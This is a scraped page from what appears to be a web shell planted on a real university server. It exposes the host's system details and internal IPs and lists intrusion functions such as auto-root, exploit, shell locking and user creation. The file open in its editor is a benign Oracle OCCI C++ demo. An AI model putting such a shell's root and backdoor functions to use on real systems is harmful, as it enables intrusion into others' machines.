Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
lib /
instantclient-11.2.0.3.0 /
sdk /
demo /
[ HOME SHELL ]
Name
Size
Permission
Action
cdemo81.c
13.98
KB
-r--r--r--
demo.mk
4.21
KB
-rw-rw-r--
occidemod.sql
1.82
KB
-r--r--r--
occidemo.sql
7.03
KB
-r--r--r--
occidml.cpp
7.39
KB
-r--r--r--
occiobj.cpp
4.7
KB
-r--r--r--
occiobj.typ
60
B
-r--r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : occiobj.cpp
/* Copyright (c) 2001, 2006, Oracle. All rights reserved. */ /* NAME occiobj.cpp - OCCI Embedded Object demo DESCRIPTION This demo performs all DML operations using OCCI interface on embedded object column of table MODIFIED (MM/DD/YY) sudsrini 10/22/06 - Username/Password lower case lburgess 04/14/06 - lowercase passwords sudsrini 07/23/04 - Copyright Info idcqe 03/05/01 - Creation */ #include <iostream> #include "occiobjm.h" using namespace oracle::occi; using namespace std; class occiobj { private: Environment *env; Connection *con; Statement *stmt; public: occiobj (string user, string passwd, string db) { env = Environment::createEnvironment (Environment::OBJECT); occiobjm (env); con = env->createConnection (user, passwd, db); } ~occiobj () { env->terminateConnection (con); Environment::terminateEnvironment (env); } /** * Insertion of a row */ void insertRow (int c1, int a1, string a2) { cout << "Inserting record - Publisher id :" << c1 << ", Publisher address :" << a1 << ", " << a2 <<endl; string sqlStmt = "INSERT INTO publisher_tab VALUES (:x, :y)"; try{ stmt = con->createStatement (sqlStmt); stmt->setInt (1, c1); address *o = new address (); o->setStreet_no (Number (a1)); o->setCity (a2); stmt->setObject (2, o); stmt->executeUpdate (); cout << "Insert - Success" << endl; delete (o); }catch(SQLException ex) { cout<<"Exception thrown for insertRow"<<endl; cout<<"Error number: "<< ex.getErrorCode() << endl; cout<<ex.getMessage() << endl; } con->terminateStatement (stmt); } /** * updating a row */ void updateRow (int c1, int a1, string a2) { cout << "Upadating record with publisher id :"<< c1 << endl; string sqlStmt = "UPDATE publisher_tab SET publisher_add= :x WHERE publisher_id = :y"; try{ stmt = con->createStatement (sqlStmt); address *o = new address (); o->setStreet_no (Number (a1)); o->setCity (a2); stmt->setObject (1, o); stmt->setInt (2, c1); stmt->executeUpdate (); cout << "Update - Success" << endl; delete (o); }catch(SQLException ex) { cout<<"Exception thrown for updateRow"<<endl; cout<<"Error number: "<< ex.getErrorCode() << endl; cout<<ex.getMessage() << endl; } con->terminateStatement (stmt); } /** * deletion of a row */ void deleteRow (int c1, int a1, string a2) { cout << "Deletion of record where publisher id :" << c1 <<endl; string sqlStmt = "DELETE FROM publisher_tab WHERE publisher_id= :x AND publisher_add = :y"; try{ stmt = con->createStatement (sqlStmt); stmt->setInt (1, c1); address *o = new address (); o->setStreet_no (Number (a1)); o->setCity (a2); stmt->setObject (2, o); stmt->executeUpdate (); cout << "Delete - Success" << endl; delete (o); }catch(SQLException ex) { cout<<"Exception thrown for deleteRow"<<endl; cout<<"Error number: "<< ex.getErrorCode() << endl; cout<<ex.getMessage() << endl; } con->terminateStatement (stmt); } /** * displaying all the rows in the table */ void displayAllRows () { string sqlStmt = "SELECT publisher_id, publisher_add FROM publisher_tab \ order by publisher_id"; try{ stmt = con->createStatement (sqlStmt); ResultSet *rset = stmt->executeQuery (); while (rset->next ()) { cout << "publisher id: " << rset->getInt (1) << " publisher address: address (" ; address *o = (address *)rset->getObject (2); cout << (int)o->getStreet_no () << ", " << o->getCity () << ")" << endl; } stmt->closeResultSet (rset); }catch(SQLException ex) { cout<<"Exception thrown for displayAllRows"<<endl; cout<<"Error number: "<< ex.getErrorCode() << endl; cout<<ex.getMessage() << endl; } con->terminateStatement (stmt); } };//end of class occiobj; int main (void) { string user = "hr"; string passwd = "hr"; string db = ""; try { cout << "occiobj - Exhibiting simple insert, delete & update operations" " on Oracle objects" << endl; occiobj *demo = new occiobj (user, passwd, db); cout << "displaying all rows before operations" << endl; demo->displayAllRows (); demo->insertRow (12, 122, "MIKE"); demo->deleteRow (11, 121, "ANNA"); demo->updateRow (23, 123, "KNUTH"); cout << "displaying all rows after all operations" << endl; demo->displayAllRows (); delete (demo); cout << "occiobj - done" << endl; }catch (SQLException ea) { cerr << "Error running the demo: " << ea.getMessage () << endl; } }
Close